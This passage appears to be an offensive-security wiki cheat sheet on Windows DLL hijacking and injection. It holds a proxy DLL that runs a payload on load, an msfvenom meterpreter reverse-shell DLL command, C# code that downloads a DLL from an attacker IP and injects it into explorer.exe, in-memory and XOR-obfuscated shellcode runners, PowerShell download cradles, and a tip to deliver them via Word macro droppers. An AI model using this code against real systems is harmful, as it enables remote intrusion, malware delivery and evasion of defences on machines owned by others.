#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
